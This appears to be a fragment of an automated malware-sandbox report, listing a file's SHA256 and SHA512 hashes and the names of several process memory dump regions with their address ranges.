SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1792-25-0x0000000005A00000-0x0000000005D54000-memory.dmp

memory/1792-26-0x0000000005F60000-0x0000000005F7E000-memory.dmp

memory/1792-27-0x0000000006020000-0x000000000606C000-memory.dmp

memory/1792-28-0x00000000077F0000-0x0000000007E6A000-memory.dmp

memory/1792-29-0x0000000006470000-0x000000000648A000-memory.dmp

memory/184-34-0x0000000000457000-0x0000000000459000-memory.dmp